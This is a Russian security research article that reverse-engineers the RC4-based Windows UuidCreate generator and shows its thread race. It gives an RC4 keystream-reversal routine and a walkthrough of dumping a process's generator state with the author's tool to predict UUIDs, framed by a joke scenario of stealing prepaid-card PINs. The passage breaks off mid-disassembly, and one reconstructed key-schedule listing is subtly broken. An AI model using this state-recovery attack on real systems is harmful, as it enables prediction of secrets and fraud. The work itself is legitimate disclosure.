Устройство и криптоанализ UUID-генератора в ОС Windows

23.06.2008 22:28

«У меня обычно сюжетные песни, а эта песня без сюжета. Казалось бы, набор слов. Нет — это песня-беспокойство»

В. Высоцкий о песне «Парус»

Отдавая себе полный отчёт в том, что слово «криптоанализ», столь бесцеремонно использованное в заголовке статьи, может повлечь за собой настоящую бурю праведной критики, я всё-таки не спешу с ним расставаться и даже не собираюсь лишать приставки «крипто». Разумеется, сама по себе WinAPI-функция UuidCreate, ставшая предметом данного исследования, никакого отношения к криптографии не имеет. Её скромный удел — создавать уникальные идентификаторы (Universally Unique Identifiers), соответствующие требованиям RFC4122. Однако желающих колоть орехи микроскопом это почему-то не останавливает. Напротив, я всё чаще сталкиваюсь с попытками трудоустроить UuidCreate в качестве генератора псевдослучайных чисел (ГПСЧ).

Причин у такого явления, на мой взгляд, несколько. Во-первых, значения идентификаторов кажутся случайными и независимыми (трижды крестимся). Во-вторых, алгоритм UUID-генератора до сих пор не опубликован и, насколько мне известно, не существует ни одной заслуживающей доверия работы, где были бы описаны его свойства. В-третьих, официальный и полномочный ГПСЧ Windows — функция CryptGenRandom — проигрывает UuidCreate в простоте и доступности (достаточно вспомнить, что использование CryptGenRandom предполагает свидание с CryptoAPI и далеко не у каждого программиста это свидание окончится бурным романом).

Так, например, встретившись однажды с коллегой из телекоммуникационной компании за кружкой добротного чешского пива, я узнал довольно любопытный факт. Оказывается, PIN-коды для карт экспресс-оплаты услуг этой «дальновидной» коммерческой организации генерируются на MS SQL Server с помощью функции newid (под чьей маской скрывается всё та же UuidCreate), причём никаких дополнительных преобразований над полученными значениями не производится. Решив по началу, что «афтар жжот», я выразил эмоции в лучших традициях лошади Пржевальского, но уже через секунду об этом пожалел. Недоумение на лице собеседника совершенно точно указывало на искренность его слов и, будь у меня под рукой карманная Библия, уверен — он бы на ней поклялся. Библии не было, поэтому пришлось клясться на свежем номере журнала «MAXIM».

Тогда, к сожалению, мне не удалось найти весомых аргументов в пользу недопустимости использования UuidCreate в подобных целях, и до последней капли пива каждый из нас оставался при своём мнении. Однако откровения коллеги долгое время не давали мне покоя. Чтобы окончательно расставить точки над i, я решил проверить, насколько осуществимы следующие два сценария.

Сценарий 1

Оператор международной и сотовой связи ОАО «Дайте сала кило», известный после ребрендинга под торговой маркой «Алло, прачечная?», готовится представить своим абонентам новый тарифный план «Глухонемой». Помимо беспрецедентно низкой стоимости одной минуты разговора с коренным населением Земли Франца-Иосифа, тариф даёт возможность бесплатно скачать рингтон «Не слышны в саду даже шорохи».

Компания с оптимизмом смотрит в будущее и рассчитывает увеличить своё присутствие на рынке услуг междугородной связи. Предвидя большой рост числа абонентов, руководство поручает секретному отделу «Белые воротнички», куда входят сотрудники только с безупречной репутацией, выпустить новую серию карт экспресс-оплаты.

На это благое дело отводится специальный физический сервер, подготовкой которого занимается системный администратор Василий Мудилов (характер нордический, не женат).

Далее опишем события в хронологическом порядке.

Утро, 14 апреля, понедельник. Василий устанавливает на машину ОС Windows и MS SQL Server 2008.

Вечер 14 апреля, понедельник. Комиссия из числа сотрудников секретного отдела проверяет сервер на наличие шпионского ПО и выносит заключение: зловредного кода на машине не обнаружено. Сервер, не выключая, перемещают в подземный бункер, полностью отрезанный от внешнего мира (свинцовые стены толщиной 2 метра, перехват информации полностью исключён, доступ в помещение имеют только «Белые воротнички»).

Вечер, 15 апреля, вторник. Василий отправляется на самый беспощадный в его жизни корпоратив, устроенный по случаю выхода нового тарифа. Исполняет в караоке похабные песни, танцует голым на столе и пристаёт к Маше Ведро из бухгалтерии. Другими словами, ведёт себя как настоящий джентльмен.

А в это время... Пока системный администратор расслабляется, «Белые воротнички» проводят генерацию PIN-кодов новой серии карт экспресс-оплаты. В качестве источника случайных чисел используется T-SQL-функция NEWID (что, как будет показано ниже, равносильно вызову UuidCreate). Полученные таким образом PIN-коды сразу же наносятся на карты оплаты. Когда процедура полностью завершена, сервер под неусыпным контролем вооружённой до зубов охраны отвозят на ближайший металлургический завод, где и сжигают в доменной печи.

Утро, 16 апреля, среда. Новые карты экспресс-оплаты поступают в продажу. Василий Мудилов находит себя в мусорном баке за пределами МКАД.

Внимание, вопрос: может ли Василий, не прибегая к ректальному криптоанализу сотрудников секретного отдела, восстановить PIN-коды всей серии карточек и что ему для этого нужно предпринять?

Сценарий 2

Предположим, сервер не уничтожили. Более того, системный администратор сумел получить к нему доступ только в среду, когда карточки уже появились в продаже. Остаётся ли у Василия шанс заполучить PIN-коды, учитывая, что они были удалены из базы данных «Белыми воротничками»?

Чтобы более-менее внятно ответить на эти интригующие вопросы, нам предстоит заглянуть под капот UuidCreate.

Вершина айсберга

К сожалению, имеющаяся в нашем распоряжении официальная документация (статья в MSDN[4] и текст RFC4122[1]) может пролить свет только на структуру возвращаемого значения, так что пользы от неё не больше, чем от ранее упомянутого журнала «MAXIM».

Определение функции (rpcdce.h):

RPCRTAPI RPC_STATUS RPC_ENTRY UuidCreate (OUT UUID RPC_FAR * Uuid);

Структура возвращаемого параметра Uuid (guiddef.h):

typedefstruct _GUID {

unsignedlong Data1;

unsignedshort Data2;

unsignedshort Data3;

unsignedchar Data4[ 8 ];

} GUID;

typedef GUID UUID;

UUID-идентификаторы часто записывают в виде текстовой строки

{G₁G₂G₃G₄-G₅G₆-G₇G₈-G₉G₁₀-G₁₁G₁₂G₁₃G₁₄G₁₅G₁₆}, где G_x — значение соответствующего байта структуры в шестнадцатеричном представлении:

Data1 = G₄G₃G₂G₁

Data2 = G₆G₅

Data3 = G₈G₇

Data4 = G₉G₁₀G₁₁G₁₂G₁₃G₁₄G₁₅G₁₆

Согласно [1] первые два старших бита G₉ определяют формат, в рамках которого необходимо интерпретировать значение идентификатора. В случае UuidCreate, они всегда равны 10, следовательно, формат должен полностью отвечать требованиям RFC4122, что даёт нам право трактовать четыре старших бита G₇ как номер версии алгоритма. Наша подопытная выставляет в них последовательность 0100 (версия 4, «The randomly or pseudo-randomly generated version»), поэтому оставшиеся 122 бита структуры должны заполняться случайным образом. Так ли это на самом деле — сейчас узнаем.

Вскрытие показало

Будем препарировать rpcrt4.dll (перечень исследованных версий см. в Приложении В), используя нечеловеческие возможности дизассемблера IDA Pro и отладчика Visual Studio 2005, поскольку именно в этой библиотеке сокрыто от любопытных глаз устройство UUID-генератора.

Начнём, разумеется, с функции UuidCreate.

RPCRTAPI RPC_STATUS RPC_ENTRY UuidCreate (

OUT UUID __RPC_FAR * Uuid

)

{

RPC_STATUS ret;

ret = GenerateRandomNumber((BYTE*)Uuid, sizeof(UUID));

if (ret == RPC_S_OK) {

// Устанавливаем версию

Uuid->Data3 = (Uuid->Data3 & 0x0fff) | 0x4000;

// Клянёмся в верности формату RFC4122

Uuid->Data4[0] = (Uuid->Data4[0] & 0x3F) | 0x80;

};

return ret;

};

Кроме вызова GenerateRandomNumber тело функции не содержит для нас ничего нового. Режем дальше.

// Состояние экземпляра RC4

typedefstruct _RC4_INSTANCE_STATE {

BYTE SBOX[256]; // S-блок

BYTE i; // Регистр RC4

BYTE j; // Регистр RC4

}RC4_INSTANCE_STATE, *PRC4_INSTANCE_STATE;

// Экземпляр RC4

typedefstruct _RC4_INSTANCE {

// Кол-во байт выхода экземпляра

DWORD Accumulator;

// Критическая секция для синхронизации потоков

CRITICAL_SECTION CS;

// Состояние экземпляра RC4

RC4_INSTANCE_STATE State;

}RC4_INSTANCE, *pRC4_INSTANCE;

// Состояние генератора

typedefstruct _RC4_CONTEXT {

DWORD InstanceCount; // Общее число экземпляров RC4

DWORD AlwaysOne; // Зарезервированно. Всегда равно 1

pRC4_INSTANCE Rc4Ins[8]; // Экземпляры RC4

}RC4_CONTEXT, *pRC4_CONTEXT;

// Глобальная переменная, определяющая состояние UUID-генератора

RC4_CONTEXT g_rc4SafeCtx;

// Глобальная переменная, определяющая выбор экземпляра RC4

DWORD g_rc4TotalRequests = 0;

RPC_STATUS GenerateRandomNumber(BYTE* pbData, DWORD cbData)

{

// Суммарное кол-во байт выхода текущего экземпляра RC4

// с момента его инициализации

DWORD Accumulator = 0;

// Номер текущего экземпляра RC4

DWORD InstNum;

// Буфер для ключа RC4, если потребуется инициализация

PVOID RandomKey;

rc4_safe_select(&g_rc4SafeCtx, &InstNum, &Accumulator);

if (Accumulator >= 500000)

{

//Инициализация

//Генерация псевдо-случайного ключа для RC4

if (!SystemFunction036(RandomKey, 256))

return RPC_S_OUT_OF_MEMORY;

// Инициализация экземпляра RC4

rc4_safe_key(&g_rc4SafeCtx, InstNum, 256, (BYTE*)RandomKey);

};

// Генерация значения UUID с помощью алгоритма RC4

rc4_safe(&g_rc4SafeCtx, InstNum, cbData, pbData);

return RPC_S_OK;

};

// Выбор экземпляра RC4

void rc4_safe_select(pRC4_CONTEXT pRC4Ctx, DWORD* pInstNum, DWORD* pAccumulator)

{

g_rc4TotalRequests++;

*pInstNum = g_rc4TotalRequests & (pRC4Ctx->InstanceCount - 1);

*pAccumulator = pRC4Ctx->Rc4Ins[*pInstNum]->Accumulator;

};

// Потокобезопасная обёртка для вызова RC4

void rc4_safe(pRC4_CONTEXT pRC4Ctx, DWORD InstNum, DWORD cbData, BYTE* pbData)

{

EnterCriticalSection(&pRC4Ctx->Rc4Ins[InstNum]->CS);

rc4(&pRC4Ctx->Rc4Ins[InstNum]->State, cbData, pbData);

LeaveCriticalSection(&pRC4Ctx->Rc4Ins[InstNum]->CS);

};

// Классическая реализация алгоритма RC4

void rc4(PRC4_INSTANCE_STATE pRC4State, DWORD cbData, BYTE* pbData)

{

BYTE t = 0;

for (int p = 0; p < cbData; p++)

{

pRC4State->i = (pRC4State->i + 1) & 0x0FF;

pRC4State->j = (pRC4State->j + pRC4State->SBOX[pRC4State->i]) & 0x0FF;

t = pRC4State->SBOX[pRC4State->i];

pRC4State->SBOX[pRC4State->i] = pRC4State->SBOX[pRC4State->j];

pRC4State->SBOX[pRC4State->j] = t;

*(pbData + p) = *(pbData + p) ^ pRC4State->SBOX[(pRC4State->SBOX[pRC4State->i] + pRC4State->SBOX[pRC4State->j]) & 0xFF];

};

Очевидно, что в алгоритме UUID-генератора отсутствуют какие-либо необратимые преобразования, а в его основу положен потоковый шифр RC4 [6]. Глобальная структура g_rc4SafeCtx, содержащая 8 независимых экземпляров состояний потокового шифра (далее просто экземпляры), и глобальный счётчик g_rc4TotalRequests*, на основании которого происходит переключение между ними, полностью описывают состояние всего генератора. Каждый экземпляр имеет свой собственный S-блок и хранит значения двух регистров шифра. При вызове GenerateRandomNumber выбирается следующий по порядку экземпляр RC4 (с индексом (g_rc4TotalRequests + 1) mod 8), что должно обеспечивать равномерную утилизацию S-блоков.

*Примечание: Поскольку rpcrt4.pdb не очень-то разговорчив, особенно когда дело касается глобальных переменных, я присвоил счётчику g_rc4TotalRequests имя, более-менее соответствующее его прямому назначению.

Формально алгоритм генерации можно представить в виде схемы, изображённой на рис.1.

Рис.1 Схема генерации UUID в ОС Windows.

Когда требуется создать i-е по счёту UUID-значение (U_i), генератор выполняет следующие действия:

Инкрементируется глобальный счётчик обращений: g_rc4TotalRequests++.
Вычисляется индекс экземпляра RC4: k_i = g_rc4TotalRequests mod 8 (чтобы не перегружать схему, эти две операции на рис.1 объединены в одну k_i= (k_i_-1+1) mod 8).
Выбранный таким образом S_k-экземпляр RC4 задаёт текущее состояние потокового шифра (S-блок и значения двух регистров).
Над значением I_i, которым был инициализирован буфер *Uuid при i-м вызове UuidCreate, и 16 байтами гаммы RC4 O_i выполняется операция XOR: C_i = O_i XOR I_i.
Задаётся версия UUID: U_i[7]= (C_i[7] & 0x0F) | 0x40.
Указывается принадлежность к RFC4122: U_i[9]= (C_i[9] & 0x3F) | 0x80.

Инициализация экземпляров RC4 и структур генератора

В момент загрузки rpcrt4.dll происходит вызов функции rc4_safe_startup. Она выделяет из кучи целевого процесса необходимый объём памяти под структуру g_rc4SafeCtx, устанавливает значение всех аккумуляторов равным 0xFFFFFFFF и инициализирует критические секции экземпляров RC4. Таким образом, каждый процесс будет обладать своим собственным состоянием Uuid-генератора.

Инициализация S-блока экземпляра выполняется при первом обращении к нему или в случае, когда счётчик байт выхода (Accumulator) у данного экземпляра начинает превышать 500 000 байт. Следовательно, прежде чем весь генератор подвергнется повторной инициализации, с его помощью должно быть создано не менее 250 000 Uuid-значений (8 экземпляров * 500 000 байт = 16 байт * 250 000 Uuid-значений). Немаловажно и то, что состояние генератора можно считать полностью определённым лишь после того, как процесс 8 и более раз вызовет UuidCreate.

RPC_STATUS GenerateRandomNumber(BYTE* pbData, DWORD cbData)

{

// Суммарное кол-во байт выхода текущего экземпляра RC4

// с момента его инициализации

DWORD Accumulator = 0;

// Номер текущего экземпляра RC4

DWORD InstNum;

// Буфер для ключа RC4, если потребуется инициализация

PVOID RandomKey;

rc4_safe_select(&g_rc4SafeCtx, &InstNum, &Accumulator);

if (Accumulator >= 500000)

{

//Инициализация

//Генерация псевдо-случайного ключа для RC4

if (!SystemFunction036(RandomKey, 256))

return RPC_S_OUT_OF_MEMORY;

// Инициализация экземпляра RC4

rc4_safe_key(&g_rc4SafeCtx, InstNum, 256, (BYTE*)RandomKey);

};

// Полный код этой функции был приведён в предыдущем разделе статьи, так // что здесь мы ограничимся лишь участком, относящимся к инициализации

…

};

Загадочная функция SystemFunction036 из advapi32.dll имеет ещё одно, более вразумительное название — RtlGenRandom («Георгий Иванович, он же Гога, он же Гоша, он же Юрий, он же Жора, здесь проживает?»). Именно под этой вывеской её можно отыскать в анналах MSDN[7]:

BOOLEAN RtlGenRandom(

__out PVOID RandomBuffer,

__in ULONG RandomBufferLength

);

Функция способна напрямую обращаться к ГПСЧ Windows для получения псевдослучайной последовательности байт и, в отличие от CryptGenRandom, не требует указания криптопровайдера. То, что SystemFunction036 является кратчайшим путём к генератору, легко проследить с помощью отладчика (на листинге показан стек вызовов из CryptGenRandom):

> advapi32.dll!_SystemFunction036@8()

rsaenh.dll!_FIPS186Gen@28() + 0x5f bytes

rsaenh.dll!_CPGenRandom@12() + 0x33 bytes

advapi32.dll!_CryptGenRandom@12() + 0x3d bytes

Руководствуясь народной мудростью «чем дальше в лес, тем толще партизаны», мы не станем (по крайней мере, сейчас) углубляться в дебри устройства ГПСЧ Windows. Во-первых, описывать здесь довольно запутанный алгоритм CryptGenRandom не имеет большого смысла, поскольку предложенная модель атаки никак не связана с генератором псевдослучайных чисел ОС. Во-вторых, исследователи из The Hebrew University of Jerusalem в своей работе «Cryptanalysis of the Random Number Generator of the Windows Operating System»[8] справились с этой задачей куда лучше, разобрав структуру ГПСЧ, что называется, по полочкам. Единственное, на что стоило бы обратить внимание, так это на поразительное сходство обоих генераторов — и UuidCreate и CryptGenRandom поддерживают 8 экземпляров RC4, которые используются ими в round-robin-манере.

Другая функция, rc4_key, непосредственно участвующая в инициализации S-блока экземпляра, вызывается в критической секции rc4_safe_key и представляет собой классическую реализацию RC4 Key Scheduling Algorithm (KSA) [6]. Код, отвечающий за тайлинг ключа (если длина ключа составляет менее 256 байт, ключ, согласно алгоритму KSA, повторяют до тех пор, пока не будет заполнен весь 256-байтный ключевой массив), был опущен в целях экономии места (длина ключа, передаваемого в rc4_key из GenerateRandomNumber всегда равна 256, поэтому отброшенный код никакой роли не играет).

//Потокобезопасная обёртка для вызова KSA

void rc4_safe_key(pRC4_CONTEXT pRC4Ctx, DWORD InstNum, DWORD cbData, BYTE* pbData)

{

EnterCriticalSection(&pRC4Ctx->Rc4Ins[InstNum]->CS);

//RC4 Key Scheduling Algorithm (KSA)

rc4_key(&pRC4Ctx->Rc4Ins[InstNum]->State, cbData, pbData);

LeaveCriticalSection(&pRC4Ctx->Rc4Ins[InstNum]->CS);

};

//RC4 Key Scheduling Algorithm (KSA)

void rc4_key(PRC4_INSTANCE_STATE pRC4State, DWORD cbData, BYTE* pbData)

{

BYTE t = 0;

for (pRC4State->i = 0; pRC4State->i < 256; pRC4State->i++)

pRC4State->SBOX[pRC4State->i] = pRC4State->i;

pRC4State->j = 0;

for (pRC4State->i = 0; pRC4State->i < 256; pRC4State->i++)

{

pRC4State->j = (

pRC4State->j

+ pRC4State->SBOX[pRC4State->i]

+ (*(pbData + pRC4State->i))

) & 0x0FF;

};

t = pRC4State->SBOX[pRC4State->i];

pRC4State->SBOX[pRC4State->i] = pRC4State->SBOX[pRC4State->j];

pRC4State->SBOX[pRC4State->j] = t;

};

Таким образом, мы приходим к следующей схеме инициализации экземпляров RC4:

Прежде чем экземпляр будет использован для генерации Uuid-значений, проверяется его счётчик байт выхода (Accumulator). Если он больше либо равен 500 000, S-блок экземпляра должен быть предварительно инициализирован.
С помощью функции SystemFunction036, которая обращается к ГПСЧ Windows, вычисляется случайный 256-байтный ключ RandomKey.
Ключ передаётся алгоритму KSA, выполняющему перестановки S-блока экземпляра. Характер перестановок зависит только от ключа RandomKey.

Не боги горшки обжигают

Как бы мне хотелось посмотреть в глаза индусу, который использовал словечко safe в названии функции rc4_safe_select и нисколько не позаботился о синхронизации потоков при обращении к глобальной переменной g_rc4TotalRequests в её теле. То ли склероз молодца одолел, то ли дело клонилось к релизу — вряд ли мы теперь узнаем. Зато можем полюбоваться эффектами.

На рис.2. показана ситуация, когда два конкурирующих потока обращаются к rc4_safe_select и при определённом стечении обстоятельств получают одинаковые значения InstNum и Accumulator.

Два потока в одном процессе вызвали rc4_safe_select (пусть, к примеру, значение глобальной переменной на этом этапе равняется 4).
Предположим, квант времени, выделенный операционной системой Потоку 1, истекает аккурат после инструкции g_rc4TotalRequests++ (значение увеличилось на 1: g_rc4TotalRequests = 5).
Windows переключает контекст на Поток 2, который снова инкрементирует переменную (теперь её значение становится равным 6).
Управление переходит к Потоку 1 (переменная всё ещё равна 6).
Как в первом, так и во втором потоках функция возвращает одинаковые значения InstNum и Accumulator.

Рис.2 Отсутствие синхронизации в теле rc4_safe_select приводит к непредсказуемому результату.

Последствия очевидны:

Оба потока будут работать с одним и тем же экземпляром RC4. Причём поток, достигший rc4_safe последним, будет ожидать «фаворита гонки» на критической секции.
Использование экземпляров становится непоследовательным. На это в частности указывает разница в значениях аккумуляторов, достигающая порой 10% (при последовательном циклическом обращении к экземплярам а-ля «round-robin» такого наблюдаться попросту не может).
Если величина аккумулятора (Accumulator) превысит 500 000, соответствующий экземпляр RC4 будет инициализирован дважды — сначала первым потоком, а затем вторым, — что, несомненно, окажет влияние на производительность.

Описанная ошибка не настолько критична, чтобы удобрять лысину пеплом или окапываться в ближайшей пещере в ожидании апокалипсиса. Однако избавиться от неё вовсе не будет лишним, тем более что это можно сделать лёгким росчерком пера:

// Выбор экземпляра RC4

void rc4_safe_select(pRC4_CONTEXT pRC4Ctx, DWORD* pInstNum, DWORD* pAccumulator)

{

DWORD l_RC4TotalRequests;

// Взаимоблокировка при инкрементировании

l_RC4TotalRequests = InterlockedIncrement (&g_rc4TotalRequests);

*pInstNum = l_RC4TotalRequests & (pRC4Ctx->InstanceCount - 1);

*pAccumulator = pRC4Ctx->Rc4Ins[*pInstNum]->Accumulator;

};

или то же самое, но для ценителей искусства:

// Выбор экземпляра RC4

void rc4_safe_select(pRC4_CONTEXT pRC4Ctx, DWORD* pInstNum, DWORD* pAccumulator)

{

DWORD l_RC4TotalRequests;

__asm {

mov eax, 1

lock xadd g_rc4TotalRequests, eax

inc eax

mov l_RC4TotalRequests, eax

};

*pInstNum = l_RC4TotalRequests & (pRC4Ctx->InstanceCount - 1);

*pAccumulator = pRC4Ctx->Rc4Ins[*pInstNum]->Accumulator;

};

Подробнее с функциями взаимоблокировки вы можете ознакомиться в MSDN[9].

С шашкой наголо

Детерминизм, присущий программной (а в некоторых случаях и аппаратной) реализации любого алгоритма, является настоящей ахиллесовой пятой криптографических систем. И как не прискорбно, именно ошибки реализации дискредитируют защищённую среду куда чаще, нежели уязвимости, обнаруженные в математических моделях. Дело осложняется ещё и тем, что разработчики порой сознательно отказываются использовать стойкие механизмы защиты, объясняя это, например, невозможностью обеспечить максимальное быстродействие в сочетании с приемлемым уровнем безопасности. Причём пунктом об ущемлённой производительности «договор с совестью», как правило, не ограничивается. С не меньшим успехом в ход идут и другие, мешающие танцору, «весомые аргументы». Вспомним хотя бы нашу с Яном Либерманом удалённую атаку на MS SQL Server [10], провести которую нам бы не удалось, не будь безопасность в протоколе TDS принесена в жертву «фиче» обратной совместимости с менее защищенными клиентами. Так что следы компромиссов можно обнаружить практически в любом прикладном решении и результаты исследования UuidCreate лишний раз это подтверждают.

Надёжный в криптографическом смысле генератор псевдослучайных чисел не только должен выдавать последовательность, на первый взгляд кажущуюся случайной, но и обладать двумя важными свойствами — Backward и Forward Security.

Backward security — не позволяет злоумышленнику по текущему состоянию генератора предсказывать состояния, в которых тот будет находиться в будущем. Чтобы уменьшить пагубное влияние детерминизма и хоть как-то выдержать это требование, в алгоритме обычно предусматривают регулярное обновление состояния (rekey) истинно случайной последовательностью бит. И чем чаще оно выполняется, тем более стойким оказывается генератор. Источниками энтропии могут служить показания счётчиков производительности, измерения тепловых датчиков, значения регистров процессора в определённый момент времени и другие величины, остающиеся для злоумышленника тайной за семью печатями (любознательных отсылаю к книге Майкла Ховарда и Дэвида Лебланка «Защищённый код» [11], где авторы, не пожалев бумаги, через запятую перечислили более сотни источников для CryptGenRandom).

Сейчас мы уже знаем, из какого теста сделан Uuid-генератор и с уверенностью можем сказать — испытания на backward security он не выдерживает. Полное обновление состояния у него возникает спустя 4·10⁶ байт выхода (8 экземпляров RC4 * 500 000 байт), поэтому злоумышленник, сумевший заполучить «слепок» всех регистров и S-блоков UuidCreate в определённый момент времени, способен предугадать до 250 000 будущих Uuid-значений. Более того, источником энтропии генератора выступает ГПСЧ Windows в лице SystemFunction036, что, с учётом предсказуемости последнего [8], увеличивает длину скомпрометированного потока данных до запредельных 256·10⁶ байт!

Действительно, CryptGenRandom, как и UuidCreate, состоит из 8 экземпляров RC4. Каждый из них проходит процедуру повторной инициализации, когда счётчик байт выхода начинает превышать 16 Кб. Это почти в 30 раз меньше, чем у Uuid-генератора, но недостаточно, чтобы считать его надёжным. Экземпляры RC4 в CryptGenRandom используются равномерно, следовательно, полное обновление состояния ГПСЧ выполняется только после 128 Кб выхода (8 экземпляров RC4 * 16 Kб).

На одну повторную инициализацию экземпляра в Uuid-генераторе функция rc4_safe_key потребляет 256 байт выхода ГПСЧ Windows, тогда как на полное обновление затрачивается 2 Кб (8 экземпляров * 256 байт ключа). Путём нехитрых арифметических операций легко подсчитать, сколько Uuid-значений сможет предсказать злоумышленник, если ему удастся заполучить текущее состояние CryptGenRandom:

4·10⁶ * (128 Кб / 2 Кб) = 256·10⁶ байт;

256·10⁶ байт / 16 байт в одном Uuid-значении = 16·10⁶ Uuid-значений

Рис.3 Иерархия источников энтропии

Вы спросите, зачем потребовалось вместо источников энтропии ОС использовать суррогат, получаемый из ГПСЧ Windows? Начну издалека. Во-первых, никто в здравом уме на стойкость UuidCreate больших надежд не возлагал (а те, кто возлагал, просто обязаны дочитать эту статью до конца). Сами демиурги вполне внятно обозначили свою позицию в RFC4122[1]: «Do not assume that UUIDs are hard to guess; they should not be used as security capabilities (identifiers whose mere possession grants access), for example. A predictable random number source will exacerbate the situation». Так что перед разработчиками никогда не стояло цели создать безопасный Uuid-генератор. К сожалению, планету Земля все ещё топчут гоблины (не только топчут, но и карты экспресс-оплаты штампуют!), которые к подобным предостережениям относятся без должного трепета.

Во-вторых, за лишнее обращение к ключу системного реестра, где хранится 80-байтовый Seed, или вызов функции драйвера KSecDD придётся расплачиваться дорогостоящими тактами процессорного времени (.NET-чикам не понять ;). Это особенно будет заметно в последнем случае, поскольку требует переключения в режим ядра (вот вам и компромисс между производительностью и безопасностью). В-третьих, создать псевдослучайный ключ для RC4 с помощью SystemFunction036 гораздо проще, нежели усложнять себе жизнь чересчур запутанной конструкцией генератора.

Перейдём теперь ко второму свойству надёжных ГПСЧ — Forward Security. Смысл его в том, что злоумышленник, владеющий текущим состоянием генератора, не должен извлечь из него никакой информации о предшествующем выходе. Другими словами, ГПСЧ нужно проектировать как однонаправленную функцию, пользуясь для этих целей алгоритмами хеширования.

Но и здесь у UuidCreate незачет. Единственные преобразования, которые мы видим в коде, ограничиваются перестановками внутри S-блоков. Злоумышленник без труда может выполнить эти операции в обратном порядке и получить предшествующую гамму генератора:

void rc4_revert(PRC4_INSTANCE_STATE pRC4State, DWORD cbData, BYTE* pbData)

{

BYTE t = 0;

for (int p = cbData - 1; p >= 0; p--)

{

*(pbData + p) = *(pbData + p) ^ pRC4State->SBOX[(pRC4State->SBOX[pRC4State->i] + pRC4State->SBOX[pRC4State->j]) & 0xFF];

t = pRC4State->SBOX[pRC4State->i];

pRC4State->SBOX[pRC4State->i] = pRC4State->SBOX[pRC4State->j];

pRC4State->SBOX[pRC4State->j] = t;

pRC4State->j = (pRC4State->j - pRC4State->SBOX[pRC4State->i]) & 0x0FF;

pRC4State->i = (pRC4State->i - 1) & 0x0FF;

};

Итак, предположим, злоумышленник снял «слепок» памяти со структуры g_rc4SafeCtx и запомнил счётчик обращений g_rc4TotalRequests в момент времени t такой, что T₁ ≤ t ≤ T₂, где T₁ — время последнего полного обновления генератора, а T₂ — время предстоящего обновления. Тогда он может воспроизвести выход генератора в интервале [T₁; t) и предугадывать значения, возвращаемые функцией UuidCreate, вплоть до наступления T₂.

Существует, правда, один нюанс, который обязательно следует учитывать. Значение буфера I_i, передаваемого в UuidCreate при i-м вызове, не всегда известно злоумышленнику. А согласно схеме, изображённой на рис.1, между этим значением и гаммой RC4 выполняется операция XOR. Поэтому, на первый взгляд, кажется, что злоумышленник, не знающий I_i, вряд ли сумеет воспользоваться предложенной моделью атаки. Однако на практике переменную Uuid либо инициализируют нулями, либо она содержит «мусор», находящийся в стеке к моменту выделения памяти. В последнем случае вероятность возникновения корреляций между различными значениями I_i в интервале от T₁ до T₂ остаётся довольно высокой, чем не преминет воспользоваться атакующий (я продемонстрирую это чуть ниже на примере MS SQL Server).

Теперь, когда вы познакомились с анатомией UuidCreate и освоили теоретическую часть статьи, мне бы хотелось сказать несколько слов о консольной утилите Uuid Big Brother, которую я написал, чтобы автоматизировать процедуру атаки. Утилита умеет снимать дамп состояния Uuid-генератора в любом из процессов ОС и угадывать как предыдущие, так и последующие Uuid-значения (подробное описание параметров UBB см. в Приложении Б).

Атака с известным I_i

В качестве разминки предлагаю отточить наше мастерство оракула на простом приложении guidgen.exe, с незапамятных времён входящее в поставку Visual Studio [12]. Эта утилита примечательна тем, что перед вызовом UuidCreate буфер под Uuid-значение инициализируется нулями (то есть I_i == NULL). Вы сами можете в этом убедиться, поскольку исходный код guidgen доступен для скачивания всем желающим [13]:

// Guidgdlg.h

void CGuidGenDlg::OnNewguid()

{

// create random GUID using UuidCreate so that we

// can check for more error codes

m_guid = GUID_NULL;

HRESULT hr = ::UuidCreate(&m_guid);

// …

}

Определённо это шанс поупражняться в прозорливости.

Запустите guidgen.exe и отыщите его в Диспетчере задач (Task Manager). Запомните идентификатор процесса (допустим, PID = 3912).
Снимите с помощью Uuid Big Brother дамп состояния генератора и сохраните его в файл guidgen.dmp:

ubb -d3912 "c:\ubb\guidgen.dmp"

Результат выполнения команды будет примерно следующим:

Warning: not all of the RC4 instances were initialized. Please, initiate 8 UUIDs generation.

State was successfully dumped to file c:\ubb\guidgen.dmp.

UBB намекает нам, что процесс не успел инициализировать один или несколько экземпляров RC4, поэтому часть предсказанных Uuid-значений окажутся не соответствующими действительности.

Нажмите 7 раз кнопку New Guid в окне GuidGen (это заставит приложение полностью инициализировать генератор), после чего повторно снимите дамп. Предупреждение должно исчезнуть:

ubb -d3912 "c:\ubb\guidgen.dmp"

--------------------------------

State was successfully dumped to file c:\ubb\guidgen.dmp.

Теперь запустите ubb с параметром –g (ничто не мешает проделать это на другой машине, предварительно скопировав туда файл дампа). Параметр –g заставляет утилиту предсказывать все последующие Uuid-значения.

ubb -g "c:\ubb\guidgen.dmp"

--------------------------------

EAC00EFD-68DB-449F-9350-8954C2300DA2

D2DD36ED-6620-4CC9-80BE-9569EFD00FA5

D60CF120-A6DA-4B4B-84F1-2C1BD6EDC071

1F00F7F3-8F0F-4473-80F2-D3B175CC93DB

ADA0FB01-85C0-4D67-86D1-925C68373F22

82D781D6-489A-46D6-9F9F-47265F76DB38

F10E5C71-5561-4999-9AF7-16CB1D80B0A0

050E5489-AAB3-4837-A240-92B4B165D588

Снова нажмите кнопку New Guid в окне GuidGen. В секции Result отобразится Uuid-значение (на скриншоте {1F00F7F3-8F0F-4473-80F2-D3B175CC93DB}), которое вы сумели угадать ещё до того, как его сгенерировало само приложение (на 4-ом шаге выделено жирным шрифтом).

Нажатие любой клавиши в UBB приводит к появлению новых значений. По умолчанию утилита выдаёт их порциями по 8 элементов, но вы можете изменить это число, воспользовавшись ключом –o (подробнее см. в Приложении Б).

Атака с неизвестным I_i

Пришло время вспомнить о Василии Мудилове и разобраться, каким образом ему удалось обвести ребят из отдела «Белые воротнички» вокруг пальца. Но сначала убедимся, что T-SQL-функция NEWID() действительно использует UUID-генератор Windows, и что описанная здесь техника атаки применима к сценариям с картами экспресс-оплаты. На листинге показан восстановленный код для MS SQL Server 2008 CTP5 (build 1075):

; sqlservr.exe

; void __fastcall GuidNewid(class CEsExec *, class CXVariant *)

?GuidNewid@@YIXPAVCEsExec@@PAVCXVariant@@@Z proc near

mov edi, edi

push esi

mov esi, edx

lea eax, [esi+4]

push eax ; pguid

call __imp__CoCreateGuid@4 ; CoCreateGuid(x)

test eax, eax

jnz short loc_1A07597

mov [esi], al

loc_1A07597:

pop esi

retn

?GuidNewid@@YIXPAVCEsExec@@PAVCXVariant@@@Z endp

; ole32.dll

; long __stdcall wCoCreateGuid(struct _GUID *)

?wCoCreateGuid@@YGJPAU_GUID@@@Z:

mov edi, edi

push ebp

